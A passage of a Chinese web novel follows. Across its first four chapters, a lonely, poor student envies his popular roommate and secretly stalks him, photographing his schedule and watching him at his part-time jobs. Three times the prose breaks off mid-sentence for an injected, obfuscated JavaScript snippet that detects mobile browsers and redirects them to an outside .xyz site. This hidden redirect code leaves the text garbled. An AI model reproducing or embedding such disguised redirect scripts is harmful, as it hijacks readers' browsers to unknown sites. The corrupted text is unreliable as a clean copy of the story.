《整治阴郁受的正确方法》 1. 嫉恨 姜津匆匆扫了一眼黑板上的几个人名,然后从笔记本上撕了一片纸,用铅笔随便写上了一个女孩的名字,即使他刚才都没有认真听她的班委竞选演讲。 写完,折了又折,确保不会被人看见内容后,姜津把它放在了桌子上,等着人一排一排来收。 这栋教学楼是新建的,空气里还掺杂着刚装修不久的工地味道,隔壁阶梯教室有人在用电钻。姜津独自缩在最后一排,离得最近,电钻像往他脑子里钻,轰轰隆隆,十分焦躁。 他看着前排叽叽喳喳的同学,不自觉地把手放在了桌下,开始锲而不舍地游巡指甲边的倒刺。 姜津眼尾下垂,平时看起来是在无辜的发愣。面前突然出现一只骨节分明、结实白皙的手拿走了纸条,他下意识抬头望去,视线刚触碰到那人清晰的下颌线,又跟触电一样匆匆收回。他有点害怕被他发现,有些心跳加速,做贼心虚。 看见魏黎的时候,他每次总有不同的疑问。为什么魏黎手上那么光滑干净,连倒刺和小疤都没有?指甲都是那么健康圆润。 魏黎拿走了那个纸条。 而他在桌子底下找到了一根新冒出来的侧边倒刺。 学生们自行组织的班会,没有老师在场气氛轻松很多。去年的班委团体在讲台上唱票,每唱一票还把纸条反过来展示,看上去很公平公正。 “魏黎。” 第一个纸条上写的名字就是他,黑板上这个名字后面画上了一道。 “魏黎。” 又是一竖。 “魏黎。” 怎么又是他,再听下去,耳朵都要起茧子。 姜津觉得粉笔在黑板上的划声比电钻声还让人恶心,像长指甲划过玻璃的声音,像那种精神污染片子的BGM。他低下头,不再看了。 他对竞选的结果没有什么意外,魏黎的名字后面跟着数不清的“正”,衬着其他候选人茕茕孑立。姜津的那一票放在女生名字后面,连一个“正”字都凑不齐。 魏黎不当选,才是不正常的,他早有预料。 但只是一个班干部而已,也没有什么了不起的。说白了不就是给老师们白打工的吗?吃力不讨好,他心里默默想。 姜津在最后一排,看着自己写的那个女生在讲台上恭喜魏黎,她没有什么妒忌神色,有的只是心悦诚服。 魏黎不知道说了些什么,引得周围同学哈哈大笑,一片喜气洋洋。 魏黎身边总是簇拥着好多人,有男有女。他在中间,像鹤立鸡群。这个成语刚冒出来,姜津自己都被自己吓了一跳,他明明那么讨厌魏黎,但一时间也想不到其他的成语形容。 大家好像都是那么光明磊落,只有姜津一个人怀着龌龊的别样心思,似乎只有他无比嫉妒怨恨着他。 见不得光,偷偷摸摸,像只老鼠害怕太阳。 指尖一阵刺痛,姜津抬起手来,倒刺被拔掉了,代价是那一小块的好皮也被不分青红皂白地撕了下来,冒出点点血珠。 本来就没几处好皮的手更是雪上加霜。 十指连心,钻心的刺痛从指尖传递到心脏,姜津不自觉地多呼吸了几口富含甲醛的空气。他把那根手指放在嘴里吸吮,怔怔舔去了那点血。 快要在后门走出去的时候,一道不大不小的清亮声音越过整间教室,喊了他的名字。 姜津反射性的喉咙发干,慢慢转过头去,看见魏黎侧身从一众同学中穿过,又嫌麻烦,干脆一个单手撑跳过最后一排桌椅稳稳落到他面前。 高挑英俊的男生在哪都是耀眼夺目的存在,更何况脸上那副始终和煦爽朗的笑容,让有些人不自觉地自惭行愧。 姜津不知道他要说什么,心里乱七八糟砰砰直跳,难道他发现自己投的票不是他了吗? 下一秒怀里就被塞了上节课用到的专业书。 “我今天换了班,得马上去烘焙店打工,”魏黎眨眨眼睛,“好室友,能帮忙把书带回宿舍吗?我晚上回来给你带小蛋糕。” 似乎听上去没有拒绝的理由,更何况在别人听来他的语气比蛋糕还要甜腻。 姜津轻轻的“嗯”了一声。真虚伪,他心想。 姜津转身离开,还顺手关上了门,仿佛没有感知到整间教室因为魏黎那句“好室友”冷了一瞬。 有同学好奇道:“魏黎,原来你跟姜津是室友呀?” 也不怪别人惊讶,魏黎跟姜津,简直就是一对反义词。如果说魏黎是爆发中的超新星,那他就是下水沟的阴湿青苔,从没有人注意过他,就连班上的聚餐也从来没有人通知他。 姜津就像从黑白影片出来的人物,身上只有黑白灰三种颜色,清瘦,陈旧,像沾满了灰尘。连那张常年被刘海遮盖的脸也是苍白的,没有半点血色。老土的黑框眼镜,遮住了他眼底的所有情绪。 他常年低头,不爱跟别人说话,主动搭腔能要了他的命。即使跟人说话,也只是愣愣看着地板砖,就像那里裂着能让他钻进去的裂缝。 人跟飞蛾一样,是趋光的。没有人会喜欢这样的同学,时间一长,姜津渐渐被所有人孤立。 S大是省内数一数二的好学校,每个人都是高中时代的佼佼者,都是那么自信大方。一入学,他们就跟蜜蜂一样在学生会、各种社团和知名企业里到处刷存在感,有人拿到高绩点,有人跟同好打得火热,有人拿到心仪公司的实习offer,这些都是他们产的蜂蜜。魏黎就是其中的佼佼者。 而姜津就是异类中的异类,他身无长处,没有口才没有特长,高中时还算说得过去的学习成绩进入这所学校成了垫底。在整个庞大的蜂巢中,他就是那只最不起眼、最弱小的。 高中时期的不合群总会因为成绩掩盖过去,虽然老师同样不喜欢他的阴郁性格,但看见排名的时候脸上也会挂上一个还算欣慰的笑容。但是S大里学习好反而是最不值得一提的事情,因为总有人学习更好,拿着竞赛国奖,有各种各样的特长,长得漂亮好看,还会交际。 最恶心的是,他们大多家庭美满富裕,父母开明。这种家庭成长出来的人,性格都那么阳光自信。 脚踩到青苔会打滑摔倒,阴湿黏腻的脚感让人厌烦。人人也不愿意跟姜津搭腔。 连唯一能让人引起谈论欲望的,也只是“魏黎室友”这一个身份。 这个不起眼的人很快在他们之间翻了篇,仿佛空气里不起眼的灰尘。 有女生耍赖说:“魏黎,我也想要小蛋糕,你为什么不给我带?”这个女声有点熟悉,是班里家境数一数二的女孩的。她眼睛大大的,娇气又漂亮,追求者能从北校门排到南校门,从不正眼看人,现在却跟魏黎撒娇,要一个十几块钱的小甜点。 “你的生日在下周,我都记着,到时候给你换一个大的。” 女孩咯咯直笑,眼睛都成一道弯月。 姜津贴着门口听了一会儿,心慢慢沉了下去,满腔的妒意让他后牙发酸,便掐着魏黎的书,慢慢挪回了宿舍。 他们的宿舍在老楼,又朝北,靠近公共浴室,来来往往的走路声和洗漱声熄灯后半小时才消停。宿舍原先四个人,其中一个有钱人家的少爷第一天入学,看着木门后面露头的小灰盖蘑菇和天花板的霉菌就狠狠皱起了眉头,看见姜津第一眼还以为他是平菇成精,都不愿意进来,在学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848998|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校附近租了房才勉强住下。 姜津不抱怨,住的倒还习惯,毕竟他从小在各个亲戚家漂泊,有自己的床已经很心满意足。 宿舍一直都是三个人。魏黎,姜津还有陈玉。三个人的宿舍就有点尴尬,稍有不慎,另一个人就会被落下。 刚开学的时候,也是陈玉跟魏黎的关系比较好,两人一起上课吃饭自习打篮球,包括现在也是。 此时陈玉也没有回来,估计打篮球去了。姜津把门锁住。 宿舍里一个人都没有。 姜津把专业书放在魏黎桌子上,整个人定住几秒,细细听着外面走道里的动静。 同样也没有什么人路过。 他这才伸出手,翻开魏黎的专业书。 魏黎的笔迹微微□□,笔锋锐利,大开大合,有棱有角。以姜津之前看过的一本分析笔迹的心理书籍,迟钝地回想,终于看出来字里行间多了一点杀伐之气,但也有可能是他这个门外汉胡思乱想的。 更何况写个字而已,能看出什么道道来。他总不能拿着魏黎写的字说这个人是一个潜在的罪犯吧? 姜津一页一页翻过去,没看出来什么异常,突然他动作停住,摸住了两页之中一张薄薄的纸片。 他把书反过来扣住,然后小心翼翼地展开,发现是一张日程表。 是魏黎打工兼职的周日程表,详细记录了每天他要去的打工地点及时间。字迹潦草,像魏黎为了方便随手一记。这算是长久偷窥以来第一个重大发现,姜津未免呼吸有些急促。他急忙找出手机拍下来留作备份。 魏黎每天都会抽出时间去打工,但据说他家庭条件非常好,父母关系和睦,还有一个可爱的妹妹。平时有意无意的,也会透露一些普通人压根不会知道的奢侈品鉴别方法。 他从不穿有logo的衣服,但高个宽肩窄腰的身材再配上那张脸披麻袋都让人以为是什么奢牌新设计。他家里偶尔会派人给他送吃的用的,满满一袋,都是姜津看不懂的进口货,男生爱串寝,基本都被附近宿舍的同学瓜分掉了。 不仅如此,每逢放假,学校论坛里不止一个人发帖说目睹魏黎上了辆连号豪车,西装革履训练有素的司机亲自为他开门。 不会有人直问别人的家底,但大家都会从细枝末节猜测,然后得出一个大差不差的结论。魏黎的家庭背景扑朔迷离,有人说是什么白手起家的富商,所以要儿子体验底层生活,自己打工挣生活费;也有人说是顶级权贵之家,因为魏黎平时也过于低调,从不铺张浪费和有意炫耀,空下来甚至还会参加社团的公益活动。 一传十十传百,再加上宿舍有陈玉这个大嘴巴,哪怕有人说他虚荣伪装作假都不会有人相信。于是魏黎的家境,就在同学们的口耳相传和想象力中日益强大。 姜津坚信,每个人内心深处都有见不得光的阴暗想法,魏黎也不例外,只是绝大多数的人被他的阳光开朗的伪装欺骗,只有极少数人能看穿他的真面目。 同样的,没有人会一直每天二十四小时不断伪装,披着那层假皮。 只需要一个人去揭穿这张假面,姜津不介意这个人是他。 只能是他。 说他这种变态行为是因为正义心爆棚也罢,是满足自己见不得人的窥私欲也罢。自打姜津看见魏黎的每一眼,他就感觉到心跳加速,浑身上下起着鸡皮疙瘩,本能地排斥。 也许在臭水沟的老鼠看来,阳光的存在本身就是一个巨大的错误。如果可以,他要掌握着他独一无二的秘密,把太阳一点一点啃下来,让他不会发光,让他人人唾弃。 他只消看他一眼,便觉得刺眼非常。 2. 羞赧 姜津十点多的时候,在宿舍里听见有人在走道里交谈和打闹,他听了一会儿,在心里默念十个数。 十、九、八,他和那个人聊完了,继续往里走。 七、六,此时对门宿舍的李哲刚好出门洗漱,他们俩又聊了聊明晚跟化工学院的篮球赛,说要把对方虐得屁滚尿流。 三,他想拿宿舍钥匙开门,钥匙就在他的左裤兜里,间杂着塑料袋摩擦的声音,他要拿钥匙,所以换了一只手。 二,可算找到钥匙了,开门。 一,宿舍门被打开,来人正是魏黎,他的手里果然提了一个袋子,兴奋喊着屋里的人:“姜津!”热切的跟那什么似的。 分毫不差,姜津的眼神从书上的公司案例移到门口那人身上。 即使朝夕相处一年多了,姜津还是觉得这张俊美的脸非常讨厌。 大学里不缺阳光帅气的男生,魏黎在其中也是独树一帜的存在。一米九的身高,扣篮一扣一个准,宽肩细腰长腿,在这个北方大省也算罕见,更何况,他星目剑眉,鼻梁高挺。眉骨、眼尾的弧度、鼻骨、嘴唇的形状、下颌骨等等,每一个地方都是线条分明,英俊到极致。 没有任何logo的衣服看起来质感非常好,也怪不得老是有人讨论他的衣服到底是不是高级私人订制。 更别说,他的嘴角时刻噙着若有若无的笑意,给本来就不错的脸来了一把锦上添花,更显出他的亲和力。 即使姜津偷偷摸摸买同样款式的衣服,穿起来却是皱皱巴巴的,一看就是版型有问题,加上他太瘦,显得更加空荡荡。换句话说就是压根撑不起来这衣服。 “瞧我给你带了什么?”魏黎眼底亮晶晶的,献宝一样把那袋东西提溜到姜津面前。 不等他回答,魏黎先把东西拿了出来,“噔噔噔噔!” 是一方红丝绒蛋糕。 魏黎眼睛弯弯的,唇角也弯弯的。他自顾自拆了包装,拿出小勺挖了一角,不请自来,几乎是送到了姜津的嘴边。 “你快尝尝,红丝绒蛋糕可是我们店的招牌,非常火爆,每天都卖断货,这一小盒还是我自己偷偷给你留起来的。”他眨眨眼睛。 魏黎说最后半句的时候煞有介事用气声说的,似乎在某种意义上,姜津跟他成了徇私枉法又无伤大雅的“共犯”。两个人共同的秘密,天知地知,你知我知。若是换了旁人,之后回想,也是一种甜蜜又紧张的回忆。 偷偷给你留的,这句话有那么一点歧义,意味着姜津成了他特殊的那一个。 拉拢人心的小伎俩,他惯用的手法。 蛋糕的甜腻萦绕在鼻尖,姜津只要一仰头张口就可以品尝到咸甜的顺滑口感。 他的口腔开始不自觉地分泌唾液,微不可闻地滑动了一下喉结。魏黎的脸上写满了期待,但是可惜,姜津并不打算回应他的期待。 不知道等到那个富家女过生日的时候,他会不会也言笑晏晏地把蛋糕喂到她的嘴边。总有好多人落入魏黎的陷阱里去还不自知。 姜津微微偏头,视线从那块红丝绒上停留了几秒,又重新落回到桌子上,找了一个借口:“我不爱吃蛋糕,而且我洗漱过了。” 魏黎肉眼可见的失望。 他还刚想说什么,陈玉打完篮球回来了,出现在两人身旁,好奇凑过来,“吃啥呢,分我一点,呦,小蛋糕。” 看姜津不领情,陈玉开口:“我还没刷牙呢,他不吃给我吃呗,热脸贴什么冷屁股。” 陈玉一口咬住了那个小勺,把蛋糕席卷进嘴,牛嚼牡丹般咽了下去,点评道:“咸的,好吃,就是有点齁。” 魏黎垂眸,盯着那个空荡荡的勺子片刻,把它往剩余的蛋糕上一插,微微一笑,塞给陈玉:“那就给你吧。齁是因为加了咸甜乳酪,好好品尝。” “你打工的那家烘焙店在哪呢,回头我给我女朋友买一份。” 姜津看着被戳得乱七八糟的、本该属于他的红丝绒,冷不丁开口说道:“从北门出去,向东走穿过两个路口,万达一楼那家就是。” 陈玉奇道:“你怎么知道的?” 姜津像才回过神来,嗫嚅说:“……这家在网上挺火的。”然后他把身子转过去,低头不再说话了。 姜津把单车停到路边,生锈的链条发出吱呀声,他拿出同样生锈的老式车锁锁上后轮,把钥匙揣进兜里。 接着斑驳树干的遮挡,他溜到一片绿化灌木后面。 下午三点是一天中太阳最烈的时候,路上没几个行人,也没人注意到他趴在那干什么。 他掏出手机,老款在这种天气里还没来得及用就烫手,一时没了反应。后置镜头对准几十米处那家奶茶店,按了多次,相册里才勉强出现一张,还是模糊的。 姜津在那蹲了一会儿,汗水从鬓角往下淌,看着来来往往买奶茶的人,不乏有年轻漂亮的女孩跟柜台里的高个男生打招呼。不知道他说了些什么,女孩们便一边笑一边偷偷看他,离开时恋恋不舍。 有人在学校里和公司里完全是两模两样的,可能在学校里老实憨厚,在公司里就咄咄逼人锱铢必较,看来魏黎是那种表里如一的人,当然不排除他伪装的技术炉火纯青。 姜津把目光收回来,掏出口袋里的陈旧小本子,写上: “9月5日下午,奶茶店打工,一切正常。”因为还是没有发现任何端倪,后面再划了一个力透纸背的叉。 这个店是魏黎众多兼职中的一个。烘焙店他之前无意间路到过,如果它不算的话,这里就是他第一次见到魏黎的工作地点。 他看了看自己偷拍的那张照片,像素不行拍得模糊,但是有些人就是有种魔力,即使周围糊成一团,反而更能勾勒出他高挺的身形和线条分明的侧脸,像幅印象派大师的画作。 姜津盯着那个身形,抓住手机的手关节用力到发白。他关上屏幕,蹬上吱呀吱呀乱叫的车,回了学校。 奶茶店里忙得火热朝天的。有个做奶茶的姐姐闲聊说自家小孩不听话,要是跟魏黎学点就好了,哪怕学个十分之一的头脑和嘴甜,她就不用那么操心。 魏黎笑眯眯的:“可别,姐,我从小就是被家庭虐待,心里可阴暗了,整天想着怎么毁灭人类。” 店里的姐姐们和前面几个顾客都在笑,一时间闹哄哄。 借着给顾客柠檬水的功夫,魏黎探出身子来,片刻之中,他有意无意地扫了那片绿化带一眼,像只鹰隼略过天空那样不留痕迹。 姜津下课的时候逆着人流往前走,S大占地面积不小,他几乎横跨了整个学校,才慢吞吞地来到了南区商业街,一家便利店的后门,它对面就是南区的体育场。 姜津从后门进去,一开门就看见了小冯在杂货间吃偷偷在柜台拿的关东煮。小冯被他吓了一跳,差点被萝卜噎住。 “是你啊,我还以为是那扒皮呢。你走路也没个动静,跟个鬼一样。”他哼哼一声。 杂货间里还没来得及安监控,小冯年纪小,还在嘴馋的年纪,时不时就拿店里的东西来这吃。姜津见怪不怪,拿出工作围裙系上,没说什么。 姜津也有兼职,就是在这个体育场旁边的小便利店,这个体育场离他们宿舍楼很远,同专业的学生几乎都不会到这里来。这家便利店老板抠门得很,一个小时才给十块钱。不过姜津选这里也是有一点私心在里头,不太想在打工的时候看见同学。钱少点就少点。 他把帽檐压低一些,戴上口罩,从杂货间搬出箱子理货。 “欢迎光临”的电子音响起,门口涌进来三四个男生,他们都步子像灌了铅,呼吸粗重,似乎是刚打完一场篮球赛,火气还很大。 他们都在冷柜前选着饮料,吵吵嚷嚷的。 姜津理货的手停了一瞬,默不作声地蹲下去摆弄早已弄好的陈列。 “化院那群傻吊玩意儿就是输不起,犯规那么多次。” “那裁判也眼瞎,要不是李哲拦着,我非要上去讨个公道。” “幸亏魏黎最后0.4秒极限三分绝杀,太牛逼了。” “哎,魏黎,你喝什么?”这是陈玉的声音。 一直都没有说话的男生此时开口:“果粒橙,要冰的。” 气息缓和平稳,隐约含笑,一点也不像其他人那么咋咋呼呼。 可运动后喝冰的一点也不好。 陈玉声音大了些:“有人没啊,结账。” 姜津缩在最角落的货架后面,瞅了一眼杂货间,里面没什么动静,要么是小冯那关东煮还没吃完,要么他想偷会儿懒,或者说两者都有。 姜津慢吞吞地站起来,再次拉低了帽檐,在催促下来到收银台,接过那几瓶饮料挨个扫码,然后闷声举起扫描枪。 他实在没想到他们经管院和化院的篮球赛是在这个体育场,也实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848999|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在没想到正好碰上魏黎一群人来买水。今天真够倒霉的。 结完了账,那群傻大个鱼贯而出。姜津结结实实松了一口气,提起来的心终于缓缓落了下去,下意识摸了摸脸上的口罩,估计没有认出来他 他老老实实回到刚才那个角落,继续摆陈列,像只勤恳的小蜗牛。 回去的路上,李哲冷不丁说了一句:“刚才那人真怪,遮的那么严实,全程一声不吭,跟个哑巴一样。” 陈玉:“就是,喊半天才出来,以后不去那买水了。” “阴湿气质跟你们寝室那谁似的……叫什么来着?” “叫姜津。”陈玉摆摆手,“我们都不喜欢他,独来独往的,八棍子打不出一个屁。我大二了都没跟他说超过十句话。魏黎这种交际草都对他束手无策。” 魏黎突然停下,一伙人也跟着止住了脚步。 “怎么了?” 魏黎扬了扬手里的瓶盖:“抽中再来一瓶了。”他笑了一下,然后转身回去,“今天有意外收获,你们先走吧,我去兑奖。” 姜津好不容易摆好最后一组货架,正给剩余的饮料瓶挨个摆正,它们像站军姿一样,间距和角度分毫不差。姜津总是在这种小事上较真,有时候老板都嫌他干活琐碎。 货架的另一面,也就是相邻的过道,突然有人在他面前站定。姜津下意识抬眼一看,怔愣在原地。 不知道什么时候回来的魏黎,借着上面的空隙,只露出一双亮晶晶的眼睛。隔着多排花花绿绿五颜六色的饮料,他在看他。 姜津一下子手脚发麻,呼吸都不畅了,他也不知道躲哪去,慌乱之中又蹲了下去,有些狼狈。 他带着口罩感觉闷人,可明明是今天刚换的一个新的,又不是用了好几天。 也许魏黎在选饮料,也许没看见他。他现在戴着帽子口罩,只有一双眼睛露在外面,能被认出来才怪。 快走吧,魏黎快走吧。他一点也不想见到他。 可惜,还是清澈明亮的年轻嗓音像条锁链一样捆住了他的心脏。 “姜津,你在这里兼职呀?” 魏黎笑眯眯的,直接走过拐角,来到他身边。 姜津喉咙发干,头更低了,不知道该说什么好,就嗯了一声,没有再继续说话的意思。 魏黎那么会察言观色,肯定第一时间察觉出来他的窘迫。他感觉自己的心脏在砰砰乱跳,即使隔着无纺布也莫名其妙闻到了橙子的味道。 他痛恨魏黎的坦率,非要让老鼠在太阳底下被暴晒,当然是太阳的不对,谁让它如此热烈。他知道自己家庭贫困,虚荣又懦弱,遇到认识的人都会尴尬地躲开。 魏黎跟他完全不是一样的人。人类向来捧高踩低,魏黎去兼职挣钱会夸一句自力更生不娇生惯养,轮到他只会嫌弃身上的穷酸味,捂住鼻子快点走开。 只听魏黎笑嘻嘻地说:“你早说呀,以后我们买水都来你这,给你消费。” 听上去像是好意,没有觉察出对面人不想聊下去的想法。 姜津不敢直视他,讷讷道:“不用,我又没有提成,没有必要。” 魏黎“哦”了一声,以他的视角,姜津的帽檐压得很低,恨不得盖住整张脸,身板也直不起来,几乎要趴在货架上。 姜津不算高,从小到大没吃过饱饭又起早贪黑学习的他长到176已经是祖上烧香的程度,但也只能到魏黎的下巴。他也比其他年轻男生瘦弱单薄,苍白纤细的后颈,围裙带在他的腰部系得很紧,看上去不堪一握。 所以,当魏黎靠他太近的时候,出于本能,他总有一种紧张又压迫的感觉。他不知道自己现在一副伏低做小的姿态,似乎别人对他干什么都可以。 就像被猎豹盯上的老实兔子。 “你又回来干什么?” 魏黎耸了耸肩:“陈玉渴死鬼上身,又托我来买瓶果粒橙。” 付款的时候魏黎又不经意地问:“这儿老板给你一小时多少?” 姜津老老实实回答:“十块钱,每天晚上干三个小时。” “那确实有点少了。” 姜津恨不得把整张脸缩在口罩里,苍白地辩解:“还可以吧……” 他有些尴尬和羞赧,魏黎刚才的话可能无意,但他觉得确实是在揭他的短。他无法控制自己这样去想。 然后他把一切都合理怪罪到魏黎身上。 3. 饥饿 姜津生活费很少,所以都是吃食堂,套餐窗口也只点一两个素菜,所幸他没什么口腹之欲。自己找了一个角落坐下来,一边扒着米饭一边想,今天周六,没课,魏黎下午会去做家教,晚上去烘焙店。自己可以偷偷在后面跟着他。 S大的学生家教在附近很受欢迎,如果家里也能出来个这样的大学生也算光宗耀组了。 正想着,手机响了,姜津看了一眼来电显示,踌躇了一会儿,在铃声播完的前几秒按下了接听键。 “怎么才接电话?”段洁的声音有些不耐烦,“今天回趟家,你弟弟月考成绩又不及格,你平时怎么教的?” “我下午有事情……” 段洁的声音一下子大了,几乎是叫起来:“什么事儿?什么事儿能有你弟弟重要吗?快中考了数学才考四十分。你周六周日又没课,我看你就是找借口不想给志文辅导作业!都说考上S大都是好学生,出去做家教人家都抢着要,你连你弟弟都辅导不好怎么去教别人家的小孩?!” 段洁在菜市场包了一个摊位卖菜,平时脾气就火爆,说话噼里啪啦一顿砸,一点也不给姜津说话的机会。他隔着手机也能幻想出这个八字眉女人紧皱眉头的样子,下一步就是她干瘦粗糙但有劲的手指狠狠拧他胳膊肉了。 “我平时起早贪黑,供你吃供你穿,一毛钱两毛钱都要跟人家计较,好不容易培养你上个名牌大学,你姨父他哥家的大女儿还没毕业人家都能帮衬家里,给她弟弟妹妹买这买那,更关键的还是一个大专生,你怎么连她都不如?你连你弟弟辅导个作业都不愿意了,我就没见过你这样的白眼狼,跟你亲爹一样屁用没有,连个畜生都不如!早知道这样,我当初离婚就不应该要你,让你爹把你踹下车自生自灭吧!” 姜津抓着手机的指尖渐渐发白,他不自觉地去找右手上的倒刺,前几天刚刚结痂的地方又被他撕开了。 姜山和段洁结婚六年的时候就离婚了,那时候姜津才五岁,高志文是同母异父的弟弟。他有好多话想要辩解,话到了嘴边又吞了下去,他明白这无疑是在段洁火上浇油。 姜津把流血的手指放在嘴里含着,还是答应了她回家的命令。 剩下的饭没有心情再吃了,他骑上那辆老旧的自行车,从S市的市中心骑到了郊区,在满是大货车的国道上拐进了一个老旧回迁小区,停好车,迈着沉重的步伐一个台阶一个台阶来到了五楼。 高志文的成绩一塌糊涂,糊涂得倒是很平均,一点也不偏科,管你是物化生还是政史地,不会写的全空着,连个公式和材料都懒得抄。 姜津看了看志文胖到睁不开的小眼和快要成球的爪子,估计他引体向上碰杆都困难,体育也没戏。志文抱着新款ipad,刷着短视频,看都没看他一眼。而姜津的手机还有自行车,都是家里人淘汰下来才给他的。 姜津轻声说:“把你的笔记本和笔拿出来,我给你讲讲题。” “不拿,不听。”他干脆抱着平板趴在床上去了。 段洁走过来,脸上摆出一副大大的笑容:“乖儿子,你哥哥给你讲题你得听呀,他考上S大,你考上B大好不好?你还记得当初学校奖给你哥的钱吗?B大的比S大的更多,到时候妈妈一分也不拿,都是你的,你想怎么花就怎么花!” 志文这才不情愿地放下平板,坐在了书桌前,但一下午也没个消停,不是说头疼脑热就是拉肚子去厕所,然后一去就是半小时。 时针不知不觉来到了七点,今天下午跟踪魏黎的计划自然是泡了汤。 晚上吃饭的时候,段洁夹了好几块红烧肉给志文,夸奖她小儿子真棒,一下午都坐得住了,未来肯定有出息,考上B大简直囊中取物,到时候娶个B市白富美,让她再在亲朋好友面前扬眉吐气一回。 姜津吃着碗里的几棵青菜,没有吭声。 段洁一天在两个儿子前都展示了自己的威严和权力,这时候有点高兴了,八字眉都舒展开来,再给姜津一个甜枣:“今中午说话是妈不对。你好好教教你弟弟,毕竟这房子都是你高叔叔的,咱娘俩又不姓高,算是外人,他能接受你已经是好心了,要是落在现在,谁会要一个带儿子的离异女人?都嫌累赘。” 一直沉默的高丁此时开口,昏黄的灯光在地中海的头顶摇摇晃晃,此时的他像一个识大体的理中客:“你妈性子急你也不是不知道,说到底不还是操心你们俩吗?那些话听了就过了,别放在心上。” 中年男人常有两种典型,一种是在酒桌上胡吃海吹指点江山,不知道的还以为核按钮在他手里握着,一种是家庭事务事不关己高高挂起。高丁属于两种结合,每次有矛盾的时候说个闭幕词一样没意义的话,他还觉得自己尽到了一家之主的责任感而沾沾自喜。 段洁连忙附和:“对呀对呀,你能考上S大都亏了我和你高叔叔。” 他们一唱一和说得实在太好听,姜津都快觉得自己的记忆有偏差,明明自己十多年一直在各个亲戚家漂泊打地铺,再穷苦的小孩起码都有一张正儿八经的床,他不仅连自己的房间都没有,连席梦思都是奢求。 也许是他中考成绩考的还不错,段洁可算想起来自己还有个大儿子,不知道怎么说服了高丁,高中三年才把他接回去。 离异家庭的小孩在亲戚家长大,各种白眼和蔑视是常态。这个阿姨家里住住,直到不耐烦就让他收拾行李去别的姑姑家住。他们都把好吃的、有营养的东西藏起来,等到姜津不在家的时候吃掉。十六岁之前,姜津在餐桌上多加块肉都会引来刻意的咳嗽,他就不敢吃饱了。 慢慢地,常年的食不果腹让姜津忘记了饥饿感。吃饭只是变成了一个必须要完成的任务,吃了就行,至于吃多少,吃了什么,有没有营养,不用在意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849000|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜津吃完饭又收拾了碗筷和桌子,已经九点多了,他走到自己之前住过的房间,想收拾一下今晚住。打开房门一看这儿变成了杂物间,堆满了箱子和乱七八糟的东西,已经看不见床的形状了。空气里都是灰尘的味道。 段洁在沙发上哔哔啵啵嗑着瓜子,头也不回:“你房间没人住就放了点杂物,现在又不晚,你回学校去呗。好歹一千多的住宿费呢,不住白不住。” 合着她一开始就没想让他住下,即使她清楚从这骑车到学校得一个小时,小区门口的国道都是乱闯红灯的大货车,事故频发。 姜津擦干湿湿的手,洗洁精刺激他的伤口细细麻麻地疼。他没说什么,毕竟一向沉默寡言,骑上车,迎着夜风,又踏上了回学校的路。 高速行驶又狂摁喇叭的货车在他身旁呼啸而过,对面的远光灯看得眼睛直花,夏夜的凉风钻进他的袖管鼓得空荡荡。姜津骑得慢吞吞,听着生锈的车链吱呀吱呀,心里倏然冒出来一个想法。 如果他今天被货车撞了,死了,脖子断了,车从他身上轧过去,不成形的碎肉遍地都是,血从中间喷到另一端的路沿石,段洁会哭吗? 他觉得答案可能不是他想听到的那样。 不知道骑了多久,他终于来到了大学城,商场部分店铺已经熄了灯,剩下的估计在打扫卫生。路上的学生都零零散散没有几个了,姜津扫了一眼,发现商场对面那家烘焙店还亮着灯,在昏暗的夜晚,像一处导航的灯塔,也像女孩临死前点燃的最后一根火柴。 他鬼使神差地往那里骑。 他感觉现在有种熟悉的感觉,大一刚入学的时候,他同样被叫回家挨了一顿批,吃了没滋没味还没饱的饭。同样是一个夏夜,同样在烘焙店对面停下,他本能地往远处唯一的暖黄灯光望去。 那个高瘦挺拔的身影就站在店里检查货架,盘点东西,时而站起时而弯腿蹲下,目光专注,侧脸是那样宁静完美,被灯镀上一层薄薄的光,身上的每一处都沾满了咸甜香味。店里那么多注入师傅心血的甜点面包,花样繁多精致好看,但似乎都没有他让人有想要独吞的念头,想必伊甸园里那颗举世闻名的苹果也不过如此。 他认得他,那是他新的室友,家庭和睦富有,为人真诚亲切友善,脸是帅到有人在校内论坛疯狂发他照片的程度。开学第一天见面,他就记住了全班人的名字。姜津这才意识到,在暑假,他就已经游刃有余地跟绝大部分人建立起密切的联系了。 所有人都喜欢他,所有人都被他吸引。他们俩有着云泥之别。 西点的甜腻香气透过玻璃门缝,如同勾人的手将姜津的心脏揉捏,挤出新鲜的血液。他口舌生津,僵化十余年的肠胃开始慢吞吞地蠕动,口腔食道乃至整个人都空荡荡,第一次有了想要大口吞咽食物的欲望。 至此,久违的饥饿感和妒意在他的血液里疯长。 4. 高尚 